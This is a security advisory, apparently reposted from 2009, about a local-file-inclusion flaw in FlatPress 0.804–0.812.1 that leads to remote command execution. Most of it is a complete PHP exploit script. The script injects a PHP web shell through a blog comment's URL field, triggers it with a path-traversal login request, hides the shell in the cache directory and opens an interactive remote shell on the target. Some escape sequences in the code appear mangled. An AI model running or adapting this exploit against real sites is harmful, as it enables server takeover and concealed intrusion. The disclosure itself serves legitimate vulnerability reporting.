FlatPress 0.804-0.812.1 Local File Inclusion to Remote Command Execution

技术2022-05-11 35

Security Advisory

Researcher Information

Discovered by: Giuseppe `Zmax` Fuggiano Website: http://www.giusef.net Contact: giuseppe(dot)fuggiano(at)gmail(dot)com

Product Information

FlatPress is an open-source standard-compliant multi-lingual extensible blogging engine written in PHP by Edoardo Vacchi.

Website: http://www.flatpress.org

Vulnerability Description

The versions 0.804 through 0.812.1 are resulting to be prone to a nasty LFI vulnerability which can be exploited to have RCE (Remote Command Execution). The piece of code involved is in the fp-includes/core/core.users.php directory in the user_get() function as showed below.

function user_get($userid=null){

if ($userid == null && ($user = user_loggedin())) { return $user; } if (file_exists($f = USERS_DIR . $userid.".php")) { include($f); return $user; }

}

It is possible to create a crafted comment for an article, and inject PHP code into the "web link" field, which is not properly validated. Then, a remote attacker could use this code to execute shell commands remotely, eventually hiding his own tracks (e.g. deleting the injected comment).

Disclosure timeline

DD/MM/YYYY

24/09/2009: Vulnerability discovery and analysis; 26/09/2009: The vendor was notificated via e-mail; 26/09/2009: Vendor response and a new release publicly available; 27/09/2009: The researcher starts coding the exploit; 29/09/2009: Exploit complete and tested.

Workaroud

Update to the newer version 0.812.2

Shouts

Thank you (you-know-who) :-)

Exploit

<?php

/* Author: Giuseppe `Zmax` Fuggiano <giuseppe(dot)fuggiano(at)gmail(dot)com> * * Description: FlatPress 0.804-0.812.1 Local File Inclusion to Remote Command Execution * vulnerability exploit (fp-includes/core/core.users.php). * This code posts a crafted comment with a very simple PHP shell. * It exploits the LFI, hides the shell in the cache directory * and starts a remote command session via POST. * * Syntax: php fp-lfi2rce.php <host> <path> [action] [lang] [shell] * <host>: the hostname or IP address of your target; * <path>: the path where FlatPress was installed; * [action]: the action to take against the host system (test, attack); * [lang]: the remote language used (en, it);"; * [shell]: if already exploited, you could just have the shell name. * * Dependencies: php5-curl. * Examples: php fp-lfi2rce.php www.example.com / => will test php fp-lfi2rce.php www.example.com /blog attack => will attack php fp-lfi2rce.php www.example.com /flatpress attack en 12345678.php => start remote session */

/* GET request, returns the page */ function get_url_contents($crl, $url) {

curl_setopt($crl, CURLOPT_URL, $url); curl_setopt($crl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($crl, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($crl, CURLOPT_COOKIEJAR, 'cookie.txt'); curl_setopt($crl, CURLOPT_COOKIEFILE, 'cookie.txt');

$ret = curl_exec($crl);

return $ret; }

/* POST request */ function post_url_fields($crl, $url, $fields) {

curl_setopt($crl, CURLOPT_URL, $url); curl_setopt($crl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($crl, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($crl, CURLOPT_POST, 1); curl_setopt($crl, CURLOPT_POSTFIELDS, $fields); curl_setopt($crl, CURLOPT_COOKIEJAR, 'cookie.txt'); curl_setopt($crl, CURLOPT_COOKIEFILE, 'cookie.txt');

$ret = curl_exec($crl);

return $ret; }

/* Execute remote command, returns the output */ function fp_exec($crl, $sh, $cmd) { $ret = post_url_fields($crl, $sh, "c=$cmd");

if ($ret) {

$pos1 = strpos($ret, 'http://www.aaa') + 14; $pos2 = strpos($ret, 'aaa.com', $pos1); $result = substr($ret, $pos1, $pos2-$pos1); return $result; } else return false;

}

/* Starts a remote command session */ function fp_shell($crl, $sh) { echo "/nStarting remote command session, type 'quit' or 'exit' to exit./n";

echo "/nremote> "; $line = trim(fgets(STDIN));

while (($line != 'exit') && ($line != 'quit')) {

if ($line != "") { if ($ret = fp_exec($crl, $sh, $line)) { echo "/n$ret"; } else echo "/nError./n"; } echo "/nremote> "; $line = trim(fgets(STDIN));

} }

function fail($crl, $str) { curl_close($crl);

die($str); }

echo "/n Author: Giuseppe `Zmax` Fuggiano <giuseppe(dot)fuggiano(at)gmail(dot)com>/n"; echo "/n"; echo " Description: FlatPress 0.804-0.812.1 Local File Inclusion to Remote Command Execution/n"; echo " vulnerability exploit (fp-includes/core/core.users.php)./n"; echo " This code posts a crafted comment with a very simple PHP shell./n"; echo " It exploits the LFI, hides the shell in the cache directory/n";

echo " and starts a remote command session via POST./n"; echo "/n"; echo " Syntax: $argv[0] <host> <path> [action] [lang] [shell]/n"; echo " <host>: the hostname or IP address of your target;/n"; echo " <path>: the path where FlatPress was installed;/n"; echo " [action]: the action to take against the host system (test, attack);/n"; echo " [lang]: the remote language used (en, it);/n"; echo " [shell]: if already exploited, you could just have

the shell name./n";

echo "/n"; echo " Examples:/n"; echo " php $argv[0] www.example.com / => will test/n"; echo " php $argv[0] www.example.com /blog attack => will attack/n"; echo " php $argv[0] www.example.com /flatpress attack en

12345678.php => start remote session/n/n";

$crl = curl_init();

if ($argc < 3 || $argv[2] == '--help' || $argv[2] == '-h') die();

$HOST = $argv[1]; $PATH = $argv[2];

if (isset($argv[3])) $ACTION = $argv[3]; else $ACTION = 'test';

if (isset($argv[4])) $LANG = $argv[4]; else $LANG = 'en';

switch ($LANG) { case 'it': $LANGARRAY = array('aaspam' => 'Per prevenire abusi del sistema di commenti, ' .

'ti chiediamo di scrivere il risultato di ' . 'questa semplice operazione matematica', 'sum' => 'sommare', 'subtract' => 'togli'); break; default: /* en */ $LANGARRAY = array('aaspam' => 'As a way to prevent abuses of this commenting system, ' . 'we must ask you to give the result of this simple ' . 'mathematical operation', 'sum' => 'sum', 'subtract' => 'subtract'); break;

}

if (isset($argv[5])) { $SHELL = $argv[5]; fp_shell($crl, "fp-content/cache/$SHELL"); curl_close($crl); exit(); } else $SHELL = 'unknown';

echo " Host: $HOST/n"; echo " Path: $PATH/n"; echo " Lang: $LANG/n"; echo " Shell: $SHELL/n/n";

echo " [+] Vulnerability test: ";

$form = "user=../../admin&pass=".rand()."&submit=Login"; $loginpage = post_url_fields($crl, "$HOST/$PATH/login.php", $form);

if (strpos($loginpage, '<meta name="generator" content="FlatPress') == false) echo "vulnerable!/n/n"; else fail($crl, "NOT vulnerable!/n/n");

if ($ACTION == "test") { curl_close($crl); exit(); }

echo " [+] Creating the shell/n"; echo " * Getting the home page: ";

$home = get_url_contents($crl, "$HOST/$PATH/");

if (strpos($home, '<meta name="generator" content="FlatPress')) echo "ok/n"; else fail($crl, "FAIL!/n/n");

echo " * Detecting an article: ";

$entrypos = strpos($home, "x=entry:entry") + 8;

if ($entrypos) { $entry = substr($home, $entrypos, 18); echo "$entry/n"; } else fail($crl, "FAIL!/n/n");

echo " * Getting the comment page: ";

$commentpage = get_url_contents($crl, "$HOST/$PATH/?x=entry:$entry;comments:1");

if (strpos($commentpage, 'id="comment-userdata"')) echo "ok/n"; else fail($crl, "FAIL!/n/n");

echo " * Solving the math operation: ";

$mathpos = strpos($commentpage, $LANGARRAY['aaspam']) + strlen($LANGARRAY['aaspam']);

$mathpos = strpos($commentpage, "strong", $mathpos) + strlen("strong>"); $mathstr = substr($commentpage, $mathpos, strlen($commentpage)-$mathpos); $operation = strtok($mathstr, " ");

switch ($operation) { case $LANGARRAY['sum']:

$first = strtok(' '); $to = strtok(' '); $second = strtok(' '); $result = $first + $second; break; case $LANGARRAY['subtract']: $first = strtok(' '); $from = strtok(' '); $second = strtok(' '); $result = $second - $first; break; case (is_numeric($operation) ? $operation : ""): $first = $operation; $times = strtok(' '); $second = strtok(' '); $result = $first * $second; break; default: fail($crl, "FAIL!/n/n");

}

echo "$result/n";

echo " * Posting crafted comment.../n";

$random = rand(); $form = 'name='.$random.'&email=fake@fake.com&url=http://www.aaa/<?system($_POST[/'c/']);?/>aaa.com' .

'&aaspam='.$result.'&content=foo&submit=Add';

post_url_fields($crl, "$HOST/$PATH/?x=entry:$entry;comments:1", $form); $commentpage = get_url_contents($crl, "$HOST/$PATH/?x=entry:$entry;comments:1");

echo " * Searching comment name: ";

if (preg_match_all("/comment[0-9][0-9][0-9][0-9][0-9][0-9]-[0-9][0-9][0-9][0-9][0-9][0-9]/",

$commentpage, $comments, PREG_PATTERN_ORDER)) { $commententry = end($comments[0]); echo "$commententry/n";

} else fail($crl, "FAIL!/n/n");

$year = substr($entry, 5, 2); $month = substr($entry, 7, 2); $commentpath = "content/$year/$month/$entry/comments/$commententry.txt"; echo " * Hiding tracks: ";

$SHELL = rand().'.php';

$form = "user=../$commentpatha&pass=".rand()."&submit=Login" .

"&c=mv -f fp-content/$commentpath fp-content/cache/$SHELL";

$loginpage = post_url_fields($crl, "$HOST/$PATH/login.php", $form);

if (strpos($loginpage, 'http://www.aaa') && strpos($loginpage, 'aaa.com')) { echo "ok/n/n"; echo " [+] Your shell: fp-content/cache/$SHELL/n"; } else fail($crl, "FAIL!/n/n");

fp_shell($crl, "$HOST/$PATH/fp-content/cache/$SHELL");

curl_close($crl);

exit(); ?>

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